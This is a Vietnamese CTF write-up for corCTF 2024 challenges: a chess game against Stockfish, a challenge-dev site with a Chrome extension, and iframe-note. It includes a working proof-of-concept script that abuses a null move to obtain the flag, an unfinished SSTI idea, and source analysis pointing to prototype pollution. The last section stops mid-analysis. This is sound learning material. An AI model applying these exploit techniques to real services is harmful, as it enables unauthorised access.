- Có thể thấy yêu cầu là chúng ta phải thắng stockfish sau 15 lượt trở xuống -> liệu điều này có khả thi khi mà chúng ta chơi khá là nghiệp dư.
### solution1
- Theo stockfish thì uci `0000` là một nước đi hợp lí trong cờ vua và nếu người chơi đi nước này thì stockfish sẽ nghĩ nước tiếp theo dành cho quân đi nước này -> ta sẽ lợi dụng việc này để trở thành người đi quân đen và stockfish đi quân trắng -> theo như hàm check thì ta thấy:
```
if (outcome := self.board.outcome()) is not None:
if outcome.termination == chess.Termination.CHECKMATE:
if outcome.winner == chess.BLACK:
self.emit("chat", {"name": "🐸", "msg": "Nice try... but not good enough 🐸"})
else:
self.emit("chat", {"name": "🐸", "msg": "how??????"})
self.emit("chat", {"name": "System", "msg": FLAG})
else: # statemate, insufficient material, etc
self.emit("chat", {"name": "🐸", "msg": "That was close... but still not good enough 🐸"})
```
- Chương trình sẽ kiểm tra xem bên thắng nếu là trắng thì sẽ nhận được flag -> vậy thì bây giờ thật dễ dàng cho chúng ta đánh thua bot trong dưới 15 nước bằng việc di chuyển vua để bot chiếu hết nhanh nhất -> và có nhiều cách để di chuyển.


poc:
```
import socketio
import time
sio = socketio.Client()
moves = ["0000", "e7e5", "e8e7", "e7d6", "d6c5", "c5d4", "d4d3"]
GLOB_IDX = 0
@sio.event
def connect():
print("Connected to server")
sio.emit('state')
@sio.event
def disconnect():
print("Disconnected from server")
@sio.event
def state(data):
global GLOB_IDX
print("Current state:")
print(data)
try:
if data['your_turn']:
print("SENDING", moves[GLOB_IDX])
sio.emit("move", moves[GLOB_IDX])
GLOB_IDX += 1
except IndexError:
print("PRINTING EVIL")
@sio.event
def chat(data):
if data["msg"] == ":frog:: how??????":
print("PRINTING EVIL")
print(f"{data['name']}: {data['msg']}")
SERVER_URL = 'http://localhost:8000/'
sio.connect(SERVER_URL)
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("Client interrupted")
sio.disconnect()
```
```
l3mnt2010@ASUSEXPERTBOOK:~/corCTF2024/frogmisc$ python3 sol.py
websocket-client package not installed, only polling transport is available
Current state:
{'pos': 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1', 'moves': ['g1h3', 'g1f3', 'b1c3', 'b1a3', 'h2h3', 'g2g3', 'f2f3', 'e2e3', 'd2d3', 'c2c3', 'b2b3', 'a2a3', 'h2h4', 'g2g4', 'f2f4', 'e2e4', 'd2d4', 'c2c4', 'b2b4', 'a2a4'], 'your_turn': True, 'status': 'running', 'turn_counter': '1 / 15 turns'}
SENDING 0000
Connected to server
Current state:
{'pos': 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1', 'moves': [], 'your_turn': False, 'status': 'running', 'turn_counter': '1 / 15 turns'}
Current state:
{'pos': 'rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1', 'moves': ['g8h6', 'g8f6', 'b8c6', 'b8a6', 'h7h6', 'g7g6', 'f7f6', 'e7e6', 'd7d6', 'c7c6', 'b7b6', 'a7a6', 'h7h5', 'g7g5', 'f7f5', 'e7e5', 'd7d5', 'c7c5', 'b7b5', 'a7a5'], 'your_turn': True, 'status': 'running', 'turn_counter': '1 / 15 turns'}
SENDING e7e5
Current state:
{'pos': 'rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2', 'moves': ['g8e7', 'g8h6', 'g8f6', 'f8e7', 'f8d6', 'f8c5', 'f8b4', 'f8a3', 'e8e7', 'd8e7', 'd8f6', 'd8g5', 'd8h4', 'b8c6', 'b8a6', 'h7h6', 'g7g6', 'f7f6', 'd7d6', 'c7c6', 'b7b6', 'a7a6', 'h7h5', 'g7g5', 'f7f5', 'd7d5', 'c7c5', 'b7b5', 'a7a5'], 'your_turn': True, 'status': 'running', 'turn_counter': '2 / 15 turns'}
SENDING e8e7
🐸: ez
Current state:
{'pos': 'rnbq1bnr/ppppkppp/8/4N3/4P3/8/PPPP1PPP/RNBQKB1R b KQ - 0 3', 'moves': ['g8h6', 'g8f6', 'd8e8', 'b8c6', 'b8a6', 'e7e8', 'e7f6', 'e7e6', 'e7d6', 'h7h6', 'g7g6', 'f7f6', 'd7d6', 'c7c6', 'b7b6', 'a7a6', 'h7h5', 'g7g5', 'f7f5', 'd7d5', 'c7c5', 'b7b5', 'a7a5'], 'your_turn': True, 'status': 'running', 'turn_counter': '3 / 15 turns'}
SENDING e7d6
🐸: so bad lmfaoo
Current state:
{'pos': 'rnbq1bnr/pppp1Npp/3k4/8/4P3/8/PPPP1PPP/RNBQKB1R b KQ - 0 4', 'moves': ['d6e7', 'd6e6', 'd6c6', 'd6c5'], 'your_turn': True, 'status': 'running', 'turn_counter': '4 / 15 turns'}
SENDING d6c5
Current state:
{'pos': 'rnbq1bnr/pppp1Npp/8/2k5/4P3/8/PPPPQPPP/RNB1KB1R b KQ - 2 5', 'moves': ['g8e7', 'g8h6', 'g8f6', 'f8e7', 'f8d6', 'd8e8', 'd8e7', 'd8f6', 'd8g5', 'd8h4', 'b8c6', 'b8a6', 'c5c6', 'c5b6', 'c5d4', 'c5b4', 'h7h6', 'g7g6', 'd7d6', 'c7c6', 'b7b6', 'a7a6', 'h7h5', 'g7g5', 'd7d5', 'b7b5', 'a7a5'], 'your_turn': True, 'status': 'running', 'turn_counter': '5 / 15 turns'}
SENDING c5d4
Current state:
{'pos': 'rnbq1bnr/pppp1Npp/8/8/3kP3/4Q3/PPPP1PPP/RNB1KB1R b KQ - 4 6', 'moves': [], 'your_turn': True, 'status': 'win', 'turn_counter': '6 / 15 turns'}
SENDING d4d3
🐸: how??????
System: corctf{this_is_a_fake_flag}
System: An error occurred, please restart
```
### solution 2
- Câu trả lời được trả lời ở phần nâng cao của UCI command của stockfish ở [đây](https://github.com/official-stockfish/Stockfish/wiki/UCI-&-Commands).
- ở mục [option](https://github.com/official-stockfish/Stockfish/wiki/UCI-&-Commands#setoption) có thể thấy

- Option debug logfile sẽ `Ghi mọi thông tin liên lạc đến và đi từ động cơ vào một tệp văn bản` -> vậy ý tưởng là ghi SSTI vào trong file template `jinja2`.

- Đây là file index.html templates của chúng ta trước khi tess -> nhưng vấn đề gặp phải là uci bị check format và chưa có cách nào để write SSTI vào index. [Đang nghiên cứu thêm solution này]
flag: `corctf{replace}` như hình thì có vẻ end giải rồi nên khởi tạo flag bị sai
## corctf-challenge-dev
- Một thử thách với nodejs -> khai thác bug của extention chrome + template ejs.

### analysis
- Đi vào phân tích source của chall.
```
// index.js
const express = require("express");
const crypto = require("crypto");
const session = require("express-session");
const MemoryStore = require("memorystore")(session)
const app = express();
const PORT = process.env.PORT || 8080;
const db = require("./db.js");
const bot = require("./bot/bot.js");
app.use(
session({
cookie: { maxAge: 3600000 },
store: new MemoryStore({
checkPeriod: 3600000,
}),
resave: false,
saveUninitialized: false,
secret: crypto.randomBytes(32).toString("hex"),
})
);
app.use(express.static("public"));
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
"Content-Security-Policy",
`base-uri 'none'; script-src 'nonce-${nonce}'; img-src *; font-src 'self' fonts.gstatic.com; require-trusted-types-for 'script';`
);
res.locals.user = null;
if (req.session.user && db.hasUser({user: req.session.user})) {
req.user = db.getUser({user: req.session.user});
res.locals.user = req.user;
}
res.locals.nonce = nonce;
next();
});
app.set('view engine', 'ejs');
app.use("/api", require("./routes/api.js"));
const requiresLogin = (req, res, next) =>
req.user
? next()
: res.redirect('/login');
app.get("/", (req, res) => res.render("index"));
app.get("/login", (req, res) => res.render("login"));
app.get("/register", (req, res) => res.render("register"));
app.get("/create", requiresLogin, (req, res) => res.render("create"));
app.get("/challenges", requiresLogin, (req, res) => res.render("challenges"));
app.get("/challenge/:id", (req, res) => {
let { id } = req.params;
if (!id) {
return res.json({ success: false, error: "No id provided" });
}
if (!db.hasChallenge({id: id})) {
return res.status(404).send("Challenge not found!");
}
challenge = db.getChallenge({id: id});
res.render('challenge', { challenge });
});
app.get("/submit", requiresLogin, (req, res) => {
const { url } = req.query;
if (!url || typeof url !== "string") {
return res.send('missing url');
}
const urlObj = new URL(url);
if (!['http:', 'https:'].includes(urlObj.protocol)) {
return res.send('url must be http/https')
}
bot.visit(url);
res.send('the admin will visit your url soon');
});
app.listen(PORT, () => console.log(`app listening on port ${PORT}`));
```
- Có các chức năng là register -> login -> create challenges -> view challenges -> submit url của chall cho admin là bot chạy với pupperteer:
```
const crypto = require("crypto");
const users = new Map();
const challenges = new Map();
const sha256 = (data) => crypto.createHash("sha256").update(data).digest("hex");
const addUser = ({ user, pass }) => {
users.set(user, {
pass: sha256(pass),
challenges: [],
});
};
const hasUser = ({ user }) => {
return users.has(user);
}
const getUser = ({ user }) => {
return users.get(user);
}
const checkPass = ({ user, pass }) => {
return users.get(user).pass === sha256(pass)
}
const addChallenge = ({title, description}) => {
let id = crypto.randomBytes(6).toString("hex");
challenges.set(id, { id, title, description });
return id;
}
const hasChallenge = ({ id }) => {
return challenges.has(id);
}
const getChallenge = ({ id }) => {
return challenges.get(id);
}
module.exports = { users, challenges, addUser, hasUser, getUser, checkPass, addChallenge, hasChallenge, getChallenge };
```
- Dưới đây là api chính của server:
```
// api.js
const express = require("express");
const db = require("../db.js");
const router = express.Router();
const requiresLogin = (req, res, next) =>
req.user
? next()
: res.json({ success: false, error: "You must be logged in!" });
router.post("/login", (req, res) => {
let { user, pass } = req.body;
if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
return res.json({
success: false,
error: "Missing username or password",
});
}
if (!db.hasUser({user: user})) {
return res.json({
success: false,
error: "No user exists with that username",
});
}
if (!db.checkPass({user: user, pass: pass})) {
return res.json({ success: false, error: "Invalid password" });
}
req.session.user = user;
res.json({ success: true });
});
router.post("/register", (req, res) => {
let { user, pass } = req.body;
if ( !user || !pass || typeof user !== "string" || typeof pass !== "string") {
return res.json({
success: false,
error: "Missing username or password",
});
}
if (db.hasUser({user: user})) {
return res.json({
success: false,
error: "User already exists",
});
}
req.session.user = user;
db.addUser({user: user, pass: pass});
res.json({ success: true });
});
router.post("/create", requiresLogin, (req, res) => {
let { title, description } = req.body;
if (!title || !description || typeof title !== "string" || typeof description !== "string") {
return res.json({ success: false, error: "Missing title or description" });
}
req.user.challenges.push(db.addChallenge({title: title, description: description}));
res.json({ success: true });
});
router.post("/challenges", requiresLogin, (req, res) => {
return res.json({
success: true,
data: req.user.challenges.map((id) => db.getChallenge({id: id})),
});
});
module.exports = router;
```
- Như đã nói ở trên thì api chính đó là `/create` và tạo challenge.
-> Vậy thì flag nằm ở đâu -> với các thử thách client hiện nay thì nó nằm ở bot:
```
const puppeteer = require("puppeteer");
const FLAG = process.env.FLAG || "corctf{test_flag}";
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
const path = require("path");
const ext = path.resolve(__dirname, "./extension/");
const visit = async (url) => {
let browser;
try {
browser = await puppeteer.launch({
headless: "new",
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
`--disable-extensions-except=${ext}`,
`--load-extension=${ext}`
],
dumpio: true
});
const page = await browser.newPage();
// NOTE: this is where the flag is on remote
await page.goto("http://localhost:8080", { timeout: 5000, waitUntil: 'networkidle2' });
page.evaluate((flag) => {
document.cookie = "flag=" + flag;
}, FLAG);
// go to exploit page
await page.goto(url, { timeout: 5000, waitUntil: 'networkidle2' });
await sleep(10_000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
module.exports = { visit };
```
### extension
- Trên môi trường production thì FLAG nằm ở env và sẽ được gắn vào trong cookie của browser như trên -> bot sẽ load đến server trước sau đó sẽ `goto` url mà chúng ta submit -> để ý là ở đây pupperteer sẽ sử dụng trình duyệt chrome có sẵn extension được config sẵn:


- Đi vào xem xét cách hoạt động của extension này:
- Theo như trực quan ở hình trên ta thấy thì nó được render từ `form_handler.js`
```
const origin = window.location.origin;
const base_rule = {
"action": {
"type": "block",
"redirect": {},
"responseHeaders": [],
"requestHeaders": []
},
"condition": {
"initiatorDomains": [origin],
"resourceTypes": ['image', 'media', 'script']
}
};
function serializeForm(items) {
const result = {};
items.forEach(([key, value]) => {
const keys = key.split('.');
let current = result;
for (let i = 0; i < keys.length - 1; i++) {
const k = keys[i];
if (!(k in current)) {
current[k] = {};
}
current = current[k];
}
current[keys[keys.length - 1]] = isNaN(value) ? value : Number(value);
});
return result;
}
// inject modal
const modal = document.createElement('div');
modal.id = 'block-modal';
modal.classList.add('modal');
modal.innerHTML = `<div class="modal-content">
<span class="close">×</span>
<form id='block-options'>
<fieldset>
<legend>Block URL</legend>
<label for='priority'>Priority:</label>
<input type='text' id='priority' name='priority'>
<div id='condition'>
<label for='urlFilter'>Blocked URL:</label>
<input type='text' id='urlFilter' name='condition.urlFilter'><br>
</div>
<button type='button' id='submit-btn' class='fizzblock'>Add URL!</button>
</fieldset>
</form>
</div>`;
modal.querySelector('#submit-btn').addEventListener('click', async () => {
const obj = serializeForm(Array.from(new FormData(document.getElementById('block-options'))));
const merged_obj = _.merge(base_rule, obj);
chrome.storage.local.get(origin).then((data) => {
let arr = data[origin];
if (arr == null) {
arr = [];
}
arr.push(merged_obj);
console.log(merged_obj);
chrome.storage.local.set(Object.fromEntries([[origin, arr]]));
});
});
// listeners to close modal
modal.querySelector('.close').addEventListener('click', () => {modal.style.display = 'none';});
window.addEventListener('click', (event) => {
if (event.target == modal) {
modal.style.display = 'none';
}
});
document.body.insertBefore(modal, document.body.childNodes[0]);
// inject modal trigger button
const modal_button = document.createElement('button');
modal_button.type = 'button';
modal_button.id = 'modal-button';
modal_button.classList.add('fizzblock');
modal_button.textContent = "Open block settings";
// modal listener
modal_button.addEventListener('click', async () => {
const modal = document.getElementById('block-modal');
modal.style.display = 'block';
});
document.body.insertBefore(modal_button, document.body.childNodes[0]);
```
- Đầu tiên thì khởi tạo các biến là origin -> gán bằng window.location.origin, base_rule có vẻ như là điều lệ cơ bản của tiện ích này.
- Sau đó tạo một modal và hiển thị form như ta thấy ở trên -> khi ta mở modal ra tức là click vào button `open block settings` thì sẽ gọi hàm `serializeForm` với các value mà ta điền vào form -> trả ra một object sau khi xử lí -> gọi `_.merge(base_rule, obj);` hàm merge này được lấy từ thư viện Lodash -> lưu các giá trị theo từng origin vào `storage` của chrome theo dạng origin: array.
- Tiếp theo ta chú ý đến back-ground js của extension này là:
```
// request-handler.js
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status == 'loading' && tab.url.indexOf(tab.index > -1)) {
const origin = (new URL(tab.url)).origin;
registerRules(origin);
}
});
const registerRules = (url) => {
chrome.storage.local.get(url).then((data) => {
const arr = data[url];
if (arr != null) {
for (let i = 0; i < arr.length; i++) {
const rule = arr[i];
rule['id'] = i+1;
chrome.declarativeNetRequest.updateDynamicRules({
addRules: [
rule
],
removeRuleIds: [i+1]
});
}
}
});
};
// rules for corctf-challenge-dev.be.ax
const rules = [
{
"action": { // fizzbuzz hates microsoft!
"type": "block",
"redirect": {},
"responseHeaders": [],
"requestHeaders": []
},
"condition": {
"initiatorDomains": ["corctf-challenge-dev.be.ax"],
"resourceTypes": ['image', 'media', 'script'],
"urlFilter": "https://microsoft.com*"
}
},
{
"action": { // block subdomains too
"type": "block",
"redirect": {},
"responseHeaders": [],
"requestHeaders": []
},
"condition": {
"initiatorDomains": ["corctf-challenge-dev.be.ax"],
"resourceTypes": ['image', 'media', 'script'],
"urlFilter": "https://*.microsoft.com*"
}
},
{
"action": { // fizzbuzz hates systemd!
"type": "block",
"redirect": {},
"responseHeaders": [],
"requestHeaders": []
},
"condition": {
"initiatorDomains": ["corctf-challenge-dev.be.ax"],
"resourceTypes": ['image', 'media', 'script'],
"urlFilter": "https://systemd.io*"
}
}
];
chrome.storage.local.set({"https://corctf-challenge-dev.be.ax": rules});
```
- Như ở form-handler ta thấy khi mà mở modal và nhập form ta sẽ lấy dữ liệu từ `chrome.storage` và nó diễn ra tại đây.
- Quay trở lại với server thì ta có thể thấy CSP đã được set để tránh XSS được xảy ra.
```
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
"Content-Security-Policy",
`base-uri 'none'; script-src 'nonce-${nonce}'; img-src *; font-src 'self' fonts.gstatic.com; require-trusted-types-for 'script';`
);
res.locals.user = null;
if (req.session.user && db.hasUser({user: req.session.user})) {
req.user = db.getUser({user: req.session.user});
res.locals.user = req.user;
}
res.locals.nonce = nonce;
next();
});
```
## iframe-note

Một chall với python flask + sqlite + pupperteer for report with admin.
- Nhìn thấy bot là ta nghĩ ngay đến khả năng cao là vul client như xss, csrf,...
-> đi vào phân tích mã nguồn của server
### analyst
- Cơ bản thì chương trình có có như sau:
```
from flask import Flask, session, request, flash, redirect, url_for, render_template
import hashlib
import secrets
import sqlite3
import os
app = Flask(__name__)
app.secret_key = os.getenv("SECRET_KEY", secrets.token_hex(16))
conn = sqlite3.connect("iframe-note.db", isolation_level=None)
cursor = conn.cursor()
cursor.execute('pragma journal_mode=WAL')
cursor.execute("""
CREATE TABLE IF NOT EXISTS users (
username TEXT PRIMARY KEY, password TEXT NOT NULL
);
""")
cursor.execute("""
CREATE TABLE IF NOT EXISTS iframes (
id TEXT PRIMARY KEY, author TEXT NOT NULL, name TEXT NOT NULL, url TEXT NOT NULL, style TEXT
);
""")
cursor.close()
def add_user(username, password):
cursor = conn.cursor()
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hashlib.sha256(password.encode()).hexdigest()))
cursor.close()
def add_iframe(author, name, url, style = None):
cursor = conn.cursor()
cursor.execute("INSERT INTO iframes (id, author, name, url, style) VALUES (?, ?, ?, ?, ?)", (secrets.token_hex(16), author, name, url, style))
cursor.close()
def get_iframe(id):
cursor = conn.cursor()
iframe = cursor.execute("SELECT name, url, style FROM iframes WHERE id = ?", (id,)).fetchone()
cursor.close()
return iframe
def get_iframes(author):
cursor = conn.cursor()
iframes = cursor.execute("SELECT id, name FROM iframes WHERE author = ?", (author,)).fetchall()
cursor.close()
return iframes
def get_user(username):
cursor = conn.cursor()
user = cursor.execute("SELECT username, password FROM users WHERE username = ?", (username,)).fetchone()
cursor.close()
return user
# might fail since multiple workers try to all add admin
try:
add_user("admin", os.getenv("ADMIN_PASSWORD", "erm"))
except:
pass
@app.get("/")
def index():
if session.get("user"):
iframes = get_iframes(session["user"])
return render_template("home.html", user=session["user"], iframes=iframes)
return render_template("index.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username, password = request.form["username"], request.form["password"]
user = get_user(username)
if user and user[1] == hashlib.sha256(password.encode()).hexdigest():
session["user"] = username
return redirect(url_for("index"))
flash("invalid username or password", "error")
return redirect(url_for("login"))
return render_template("login.html")
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username, password = request.form["username"], request.form["password"]
if len(username) < 5 or len(password) < 7:
flash("username must be at least 5 characters long and password must be at least 7 characters long", "error")
return redirect(url_for("register"))
if not username.isalnum():
flash("username must be alphanumeric", "error")
return redirect(url_for("register"))
if username in password:
flash("username cannot be contained in the password", "error")
return redirect(url_for("register"))
if get_user(username):
flash("username already taken", "error")
return redirect(url_for("register"))
add_user(username, password)
session["user"] = username
return redirect(url_for("index"))
return render_template("register.html")
@app.post("/create")
def create():
if not session.get("user"):
flash("you must be logged in to create an iframe", "error")
return redirect(url_for("index"))
if session["user"] == "admin":
flash("admin cannot create iframes", "error")
return redirect(url_for("index"))
name, url, style = request.form["name"], request.form["url"], request.form["style"]
if not name or not url:
flash("name and url cannot be empty", "error")
return redirect(url_for("index"))
if not url.lower().startswith("http"):
flash("url must start with http or https", "error")
return redirect(url_for("index"))
add_iframe(session["user"], name, url, style)
return redirect(url_for("index"))
@app.get("/view")
def view():
return render_template("view.html")
@app.get("/iframe/<id>")
def iframe(id):
iframe = get_iframe(id)
if not iframe:
return { "error": "iframe not found" }
return { "name": iframe[0], "url": iframe[1], "style": iframe[2] }
```
-> đầu tiên thì sẽ khởi tạo các bảng `users` `iframes` với các cột chứa dữ liệu tương ứng -> insert username `admin` với secret passwd vào trong bảng users.
Các api chính:
#### api /
- Sẽ trả ra tất cả id + name của template tương ứng với session user sau đó hiển thị ra `home`
#### api /login + /register -> đăng kí & đăng nhập
#### api /create
- Nhận `name, url, style` từ client -> thêm dữ liệu vào trong bảng users
#### api /view -> hiển thị view template
#### api /iframe/``<id>``
- Trả ra `name, url, style` tương ứng với id sau đó hiển thị kết quả trực tiếp dưới dạng json
- Chuyển qua mã của bot-admin:
```
// npm i puppeteer
const puppeteer = require("puppeteer");
const TEST_USER = "test_user";
const TEST_PASSWORD = "test_password";
const FLAG = "corctf{test_flag}";
const SITE = "https://iframe-note.be.ax";
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
})
}
const visit = async (url) => {
if (!/^https:\/\/iframe-note\.be\.ax\/view\?id=[A-Fa-f0-9]+$/.test(url)) {
console.log('[warning]: invalid url! you cannot submit this to the admin bot.');
}
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
const ctx = browser.createBrowserContext();
const page = await ctx.newPage();
await page.goto(`${SITE}/login`, { timeout: 5000, waitUntil: 'networkidle2' });
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, FLAG);
await page.waitForSelector('input[name="username"]', { timeout: 5000 });
await page.type('input[name="username"]', TEST_USER);
await page.type('input[name="password"]', TEST_PASSWORD);
await page.click('input[type="submit"]');
await sleep(3000);
await page.goto(url, { timeout: 5000, waitUntil: 'networkidle2' });
await sleep(8000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
visit("TARGET_URL");
```
- Đầu tiên là bot chỉ nhận url đến view/?id=[replace] -> sẽ di chuyển đến trang login -> lưu flag vào trong localStorage của trình duyệt -> nhập username + password đăng nhập -> sleep 3s -> di chuyển đến url vừa nhận.
### detect
- Prototype polution